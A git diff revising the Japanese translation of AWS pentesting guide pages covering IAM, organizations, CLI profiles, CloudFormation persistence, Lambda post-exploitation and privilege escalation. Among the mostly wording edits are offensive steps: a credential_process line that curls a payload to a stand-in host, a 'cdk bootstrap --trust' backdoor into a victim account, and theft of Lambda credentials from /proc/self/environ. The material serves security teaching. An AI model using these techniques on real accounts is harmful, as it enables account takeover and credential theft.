diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 7e6746af7..663bac940 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -8,11 +8,11 @@ ### アカウント -AWS には **ルートアカウント** があり、これは **組織内のすべてのアカウントの親コンテナ** です。しかし、そのアカウントを使用してリソースをデプロイする必要はなく、**異なる AWS** インフラストラクチャを分離するために **他のアカウントを作成する** ことができます。 +AWS には **ルートアカウント** があり、これは **組織内のすべてのアカウントの親コンテナ** です。しかし、そのアカウントを使用してリソースをデプロイする必要はなく、**異なる AWS** インフラストラクチャを分離するために **他のアカウントを作成** できます。 -これは **セキュリティ** の観点から非常に興味深いことであり、**1つのアカウントは他のアカウントのリソースにアクセスできません**(特別にブリッジが作成されている場合を除く)。このようにして、デプロイメント間に境界を作成できます。 +これは **セキュリティ** の観点から非常に興味深いことであり、**1つのアカウントは他のアカウントのリソースにアクセスできません**(特別にブリッジが作成されていない限り)。このようにして、デプロイメント間に境界を作成できます。 -したがって、**組織内には2種類のアカウントがあります**(AWS アカウントについて話しており、ユーザーアカウントではありません):管理アカウントとして指定された単一のアカウントと、1つ以上のメンバーアカウントです。 +したがって、組織内には **2種類のアカウント** があります(AWS アカウントについて話しており、ユーザーアカウントではありません):管理アカウントとして指定された単一のアカウントと、1つ以上のメンバーアカウントです。 - **管理アカウント(ルートアカウント)** は、組織を作成するために使用するアカウントです。組織の管理アカウントから、次のことができます: @@ -22,12 +22,12 @@ AWS には **ルートアカウント** があり、これは **組織内のす - 招待状を管理する - 組織内のエンティティ(ルート、OU、またはアカウント)にポリシーを適用する - 組織内のすべてのアカウントにサービス機能を提供するために、サポートされている AWS サービスとの統合を有効にする。 -- このルートアカウント/組織を作成するために使用されたメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。 +- このルートアカウント/組織を作成するために使用したメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。 管理アカウントは **支払いアカウントの責任** を持ち、メンバーアカウントによって発生したすべての料金を支払う責任があります。組織の管理アカウントを変更することはできません。 -- **メンバーアカウント** は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用することができます。 -- メンバーアカウントは **有効なメールアドレスを使用する必要があります** そして **名前** を持つことができます。一般的に、請求を管理することはできません(ただし、アクセスが与えられる場合があります)。 +- **メンバーアカウント** は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用できます。 +- メンバーアカウントは **有効なメールアドレスを使用する必要があり**、**名前** を持つことができます。一般的に、請求を管理することはできません(ただし、アクセスが与えられる場合があります)。 ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` @@ -42,11 +42,11 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU **サービスコントロールポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーとロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM**権限ポリシーに似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**メンバーアカウント内のエンティティの権限が制限されます**。 -これは**ルートユーザーでさえ何かを行うのを止める唯一の方法**です。たとえば、CloudTrailを無効にしたり、バックアップを削除したりするのを防ぐために使用できます。\ +これは**ルートユーザーでさえ何かをするのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのを止めるために使用できます。\ これを回避する唯一の方法は、SCPを設定する**マスターアカウント**も侵害することです(マスターアカウントはブロックできません)。 > [!WARNING] -> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが` s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスする人々を止めることはない**ことを意味します。 +> **SCPはアカウント内のプリンシパルのみを制限**するため、他のアカウントには影響しません。これは、SCPが`s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスする人を止めることはできない**ことを意味します。 SCPの例: @@ -60,18 +60,18 @@ SCPの例: 変更を拒否。 - バックアップの削除を拒否。 -- IAMユーザーとアクセスキーの作成を拒否 +- IAMユーザーとアクセスキーの作成を拒否。 **JSONの例**は[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)で見つけてください。 ### Resource Control Policy (RCP) -**リソースコントロールポリシー (RCP)** は、**AWS組織内のリソースに対する最大権限を定義するポリシー**です。RCPは構文がIAMポリシーに似ていますが、**権限を付与しません**—他のポリシーによってリソースに適用できる権限を制限するだけです。RCPを組織のルート、組織単位 (OU)、またはアカウントにアタッチすると、RCPは影響を受ける範囲内のすべてのリソースに対するリソース権限を制限します。 +**リソースコントロールポリシー (RCP)** は、**AWS組織内のリソースに対する最大権限を定義するポリシー**です。RCPは構文においてIAMポリシーに似ていますが、**権限を付与しません**—他のポリシーによってリソースに適用できる権限を制限するだけです。RCPを組織のルート、組織単位 (OU)、またはアカウントにアタッチすると、RCPは影響を受ける範囲内のすべてのリソースに対するリソース権限を制限します。 -これは**リソースが事前定義されたアクセスレベルを超えないことを保証する唯一の方法**です—たとえアイデンティティベースまたはリソースベースのポリシーが過剰に許可されていても。これらの制限を回避する唯一の方法は、組織の管理アカウントによって設定されたRCPを変更することです。 +これは**リソースが事前定義されたアクセスレベルを超えないことを保証する唯一の方法**です—アイデンティティベースまたはリソースベースのポリシーが過剰に許可されている場合でも。これらの制限を回避する唯一の方法は、組織の管理アカウントによって設定されたRCPを変更することです。 > [!WARNING] -> RCPはリソースが持つことができる権限のみを制限します。プリンシパルが何をできるかを直接制御するわけではありません。たとえば、RCPがS3バケットへの外部アクセスを拒否する場合、それはバケットの権限が設定された制限を超えるアクションを許可しないことを保証します—たとえリソースベースのポリシーが誤って設定されていても。 +> RCPはリソースが持つことができる権限のみを制限します。プリンシパルが何をできるかを直接制御するわけではありません。例えば、RCPがS3バケットへの外部アクセスを拒否する場合、それはバケットの権限が設定された制限を超えるアクションを許可しないことを保証します—リソースベースのポリシーが誤って設定されていても。 RCPの例: @@ -98,17 +98,17 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ## IAM - アイデンティティとアクセス管理 -IAMは、AWSアカウント内で**認証**、**認可**、および**アクセス制御**を管理することを可能にするサービスです。 +IAMは、AWSアカウント内で**認証**、**承認**、および**アクセス制御**を管理することを可能にするサービスです。 - **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に細分化できます。 -- **認可** - アイデンティティがシステム内でアクセスできるものを決定します。 +- **承認** - アイデンティティがシステム内でアクセスできるものを決定します。 - **アクセス制御** - セキュアなリソースへのアクセスがどのように付与されるかの方法とプロセス -IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、認可、およびアクセス制御メカニズムを管理、制御、統治する能力によって定義されます。 +IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、承認、およびアクセス制御メカニズムを管理、制御、統治する能力によって定義されます。 ### [AWSアカウントのルートユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Amazon Web Services (AWS) アカウントを最初に作成すると、**すべての** AWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが与えられます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。 +Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが与えられます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。 新しい**管理者ユーザー**は**ルートユーザーよりも権限が少ない**ことに注意してください。 @@ -116,11 +116,11 @@ Amazon Web Services (AWS) アカウントを最初に作成すると、**すべ ### [IAMユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -IAM _ユーザー_は、AWS内で**その人またはアプリケーション**を**AWSと対話させるために使用する**エンティティです。AWSのユーザーは、名前と資格情報(パスワードと最大2つのアクセスキー)で構成されます。 +IAM _ユーザー_ は、AWS内で**人またはアプリケーションを表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報(パスワードと最大2つのアクセスキー)で構成されます。 -IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーを直接ユーザーに添付**します。 +IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーを直接ユーザーに添付**することができます。 -ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。**MFAを使用してユーザーのAPIキーのアクセスを制限**したい場合は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります(例:[**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 +ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります(例 [**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 #### CLI @@ -135,7 +135,7 @@ _新しいアクセスキーを作成 -> 新しいキーをシステム/アプ これは、既存の方法(パスワードなど)に加えて**認証のための追加の要素を作成する**ために使用され、マルチファクターレベルの認証を作成します。\ **無料の仮想アプリケーションまたは物理デバイス**を使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。 -MFA条件を持つポリシーは、以下に添付できます: +MFA条件を持つポリシーは、次のものに添付できます: - IAMユーザーまたはグループ - Amazon S3バケット、Amazon SQSキュー、またはAmazon SNSトピックなどのリソース @@ -150,7 +150,7 @@ aws sts get-session-token --serial-number --token-code ### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度に適用する**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。 +IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度に適用する**方法であり、これによりユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。 **ユーザーグループにアイデンティティベースのポリシーを適用する**ことで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取る**ことができます。**ユーザーグループ**を**ポリシー**(リソースベースのポリシーなど)内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。 @@ -158,12 +158,12 @@ IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/ - ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができ**ます。 - **ユーザーグループはネストできません**。ユーザーのみを含むことができ、他のユーザーグループは含められません。 -- **AWSアカウント内のすべてのユーザーを自動的に含むデフォルトのユーザーグループはありません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。 +- **AWSアカウント内のすべてのユーザーを自動的に含むデフォルトのユーザーグループは存在しません**。そのようなユーザーグループを作成したい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。 - AWSアカウント内のIAMリソースの数とサイズ(グループの数や、ユーザーがメンバーになれるグループの数など)は制限されています。詳細については、[IAMおよびAWS STSのクォータ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)を参照してください。 ### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **ロール**は**ユーザー**に非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています(十分な権限がある場合)**。IAMユーザーは、特定のタスクのために異なる権限を一時的に取得するためにロールを**引き受けることができます**。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。 +IAM **ロール**は、**ユーザー**と非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)は**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています(十分な権限がある場合)**。**IAMユーザーはロールを引き受けて、一時的に**特定のタスクのために異なる権限を取得することができます。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。 IAMロールは、**2種類のポリシー**で構成されています:**信頼ポリシー**(空であってはならず、**誰がロールを引き受けることができるかを定義**)と、**権限ポリシー**(空であってはならず、**何にアクセスできるかを定義**)。 @@ -173,7 +173,7 @@ AWSセキュリティトークンサービス(STS)は、**一時的で制限 ### [IAMにおける一時的な資格情報](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報をリクエストできます。これにより、**制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間が経過すると自動的に期限切れになることです。資格情報が有効な期間を制御できます。 +**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限を持つ一時的な資格情報をリクエストできます。これにより、**制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間が経過すると自動的に期限切れになることです。資格情報が有効な期間を制御できます。 ### ポリシー @@ -182,9 +182,9 @@ AWSセキュリティトークンサービス(STS)は、**一時的で制限 権限を割り当てるために使用されます。2種類あります: - AWS管理ポリシー(AWSによって事前設定されたもの) -- カスタマー管理ポリシー:あなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できます(そのうちの1つを修正して自分のものを作成する)、ポリシージェネレーターを使用する(権限を付与および拒否するのを助けるGUIビュー)または自分で書くことができます。 +- カスタマー管理ポリシー:あなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できます(そのうちの1つを修正して独自のものを作成する)、ポリシージェネレーターを使用する(権限を付与および拒否するのを助けるGUIビュー)または自分で作成することができます。 -**デフォルトのアクセスは** **拒否されます**。明示的なロールが指定された場合にのみアクセスが許可されます。\ +**デフォルトのアクセスは** **拒否**され、明示的なロールが指定された場合にのみアクセスが許可されます。\ **単一の「拒否」が存在する場合、それは「許可」を上書きします**。AWSアカウントのルートセキュリティ資格情報を使用するリクエスト(デフォルトで許可されている)は除きます。 ```javascript { @@ -213,20 +213,20 @@ AWSセキュリティトークンサービス(STS)は、**一時的で制限 #### インラインポリシー -この種のポリシーは、**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰かが使用できるようにポリシーリストには表示されません。\ +この種のポリシーは、**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるようにはポリシーリストには表示されません。\ インラインポリシーは、**ポリシーと適用されるアイデンティティとの間に厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。 #### リソースバケットポリシー -これらは、**リソース内で定義できるポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。 +これらは、**リソース**に定義できる**ポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。 もしプリンシパルがそれに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。 ### IAMバウンダリー -IAMバウンダリーは、**ユーザーまたはロールがアクセスすべき権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、操作は**失敗**します。 +IAMバウンダリーは、**ユーザーまたはロールがアクセスすべき権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、使用しようとすると操作は**失敗**します。 -バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼がS·バケットを読むことしかできないと示している場合、それが彼ができる最大のことです。 +バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼にS·バケットのみを読み取ることを示している場合、それが彼ができる最大のことです。 **これ**、**SCP**、および**最小特権の原則に従うこと**は、ユーザーが必要以上の権限を持たないように制御する方法です。 @@ -242,18 +242,18 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -注意すべきは、デフォルトで**AWSはセッションの生成にセッションポリシーを追加する可能性がある**ということです。例えば、[認証されていないCognitoの仮定ロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルト(強化された認証を使用)で、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**以下のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 +注意すべきは、デフォルトで**AWSはセッションにセッションポリシーを追加する可能性がある**ということです。これは、第三者の理由によって生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで(強化された認証を使用して)、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 -したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ためです。 +したがって、ある時点で「...セッションポリシーが...を許可していないため」といったエラーに直面した場合、ロールがそのアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ためです。 ### アイデンティティフェデレーション -アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザーが**AWSリソースに安全にアクセスできるようにし、AWSユーザーアカウントの有効なIAMユーザー資格情報を提供する必要がありません。\ +アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザーが**AWSリソースに安全にアクセスできるようにし、AWSユーザー資格情報を有効なIAMユーザーアカウントから提供する必要がありません。\ アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory**(**SAML**経由)や**OpenID**サービス(**Google**など)があります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。 -この信頼を構成するために、**他のプラットフォームを信頼するIAMアイデンティティプロバイダー(SAMLまたはOAuth)が生成されます**。次に、少なくとも1つの**IAMロールがアイデンティティプロバイダーに(信頼される)割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、前述のロールとしてアクセスします。 +この信頼を構成するために、**IAMアイデンティティプロバイダー(SAMLまたはOAuth)が生成され**、**他のプラットフォームを信頼する**ことになります。そして、少なくとも1つの**IAMロールがアイデンティティプロバイダーに(信頼される)割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、前述のロールとしてアクセスします。 -ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し、サードパーティプラットフォームがユーザーにどちらのロールを引き受けるかを許可します**。 +ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
@@ -271,20 +271,20 @@ AWS IAMアイデンティティセンター(AWSシングルサインオンの
-アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てることができます**。**組織の任意のアカウント**に対して。 +アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。 アイデンティティセンターのユーザー/グループにアカウントへのアクセスを与えるために、**アイデンティティセンターを信頼するSAMLアイデンティティプロバイダーが作成され**、**指定されたポリシーを持つアイデンティティプロバイダーを信頼するロールが宛先アカウントに作成されます**。 #### AwsSSOInlinePolicy -**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを介して権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーにこれらの権限を持ちます。 +**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを通じて権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーにこれらの権限を持ちます。 -したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールが表示されても、**同じ権限を持っているわけではありません**。 +したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールがあっても、**同じ権限を持っているわけではありません**。 ### クロスアカウントの信頼とロール -**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスを許可する**が、**新しいロールポリシーで示されたアクセスのみを持つ**ことができます。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\ -信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーなどの他の認証されたユーザーもこの信頼を悪用できる可能性があります。 +**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスを許可する**ことができますが、**新しいロールポリシーで示されたアクセスのみを持つ**ことになります。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\ +信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。 ### AWS Simple AD @@ -307,7 +307,7 @@ AWS IAMアイデンティティセンター(AWSシングルサインオンの - **パスワードポリシー設定**を設定することができ、最小長やパスワード要件などのオプションがあります。 - **「資格情報レポート」をダウンロード**して、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。 -AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体での**きめ細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、どの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**。 +AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体での**きめ細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、そしてどの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**。 ### IAM IDプレフィックス @@ -346,8 +346,8 @@ AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体 ### CLI認証 -通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することで**構成できます。\ -そのファイルには、1つ以上のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**そのファイルの`[default]`**と呼ばれるものが使用されます。\ +通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することによって**構成できます。\ +そのファイルには、1つ以上のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**aws cli**を使用すると、そのファイル内の**`[default]`**と呼ばれるものが使用されます。\ 複数のプロファイルを持つ資格情報ファイルの例: ``` [default] @@ -371,7 +371,7 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` -この設定ファイルを使用すると、aws cliを次のように使用できます: +この設定ファイルを使用すると、次のようにaws cliを使用できます: ``` aws --profile acc2 ... ``` @@ -384,7 +384,7 @@ aws --profile acc2 ... [victim] credential_process = curl -d 'PAYLOAD' https://some-site.com ``` -注意してください、資格情報は次の形式でSTDOUTに返される必要があります: +注意してください、資格情報は次の形式でSTDOUTに返されなければなりません: ```json { "Version": 1, diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md index 211c36016..142d78e1f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md @@ -10,9 +10,9 @@ ../aws-services/aws-cloudformation-and-codestar-enum.md {{#endref}} -### CDKブートストラップスタック +### CDK Bootstrap Stack -AWS CDKは、`CDKToolkit`と呼ばれるCFNスタックをデプロイします。このスタックは、外部アカウントが被害者アカウントにCDKプロジェクトをデプロイできるようにするパラメータ`TrustedAccounts`をサポートしています。攻撃者は、AWS cliを使用してパラメータでスタックを再デプロイするか、AWS CDK cliを使用して、被害者アカウントへの無期限のアクセスを自分に付与するためにこれを悪用できます。 +AWS CDKは、`CDKToolkit`というCFNスタックをデプロイします。このスタックは、外部アカウントが被害者アカウントにCDKプロジェクトをデプロイできるようにするパラメータ`TrustedAccounts`をサポートしています。攻撃者は、AWS cliを使用してパラメータでスタックを再デプロイするか、AWS CDK cliを使用して、被害者アカウントへの無期限のアクセスを自分に付与するためにこれを悪用できます。 ```bash # CDK cdk bootstrap --trust 1234567890 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index ce8a07e8e..b584ad621 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -14,11 +14,11 @@ Lambdaは、実行時に資格情報を注入するために環境変数を使用します。これらにアクセスできる場合(`/proc/self/environ`を読み取るか、脆弱な関数自体を使用することによって)、自分で使用することができます。これらはデフォルトの変数名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、および `AWS_ACCESS_KEY_ID` に存在します。 -デフォルトでは、これらはCloudWatchロググループに書き込むアクセス権を持ちます(その名前は `AWS_LAMBDA_LOG_GROUP_NAME` に保存されています)、また任意のロググループを作成することもできますが、Lambda関数はその意図された使用に基づいてより多くの権限が割り当てられていることがよくあります。 +デフォルトでは、これらはCloudWatchロググループに書き込むアクセス権を持ちます(その名前は `AWS_LAMBDA_LOG_GROUP_NAME` に保存されています)、さらに任意のロググループを作成することもできますが、Lambda関数はその意図された使用に基づいてより多くの権限が割り当てられていることがよくあります。 ### 他のLambdaのURLリクエストを盗む -攻撃者が何らかの方法でLambda内でRCEを取得した場合、他のユーザーのHTTPリクエストをLambdaから盗むことができます。リクエストに機密情報(クッキー、資格情報など)が含まれている場合、それを盗むことができます。 +攻撃者がLambda内でRCEを取得することができれば、他のユーザーのHTTPリクエストをLambdaから盗むことができます。リクエストに機密情報(クッキー、資格情報など)が含まれている場合、それを盗むことができます。 {{#ref}} aws-warm-lambda-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index f17cb4b8a..b92e7e805 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -cloudformationに関する詳細情報は、以下を確認してください: +cloudformationに関する詳細情報は、以下を確認してください: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,13 +12,13 @@ cloudformationに関する詳細情報は、以下を確認してください: ### `iam:PassRole`, `cloudformation:CreateStack` -これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することで**権限を昇格させる**ことができます: +これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することで**権限を昇格させる**ことができます: ```bash aws 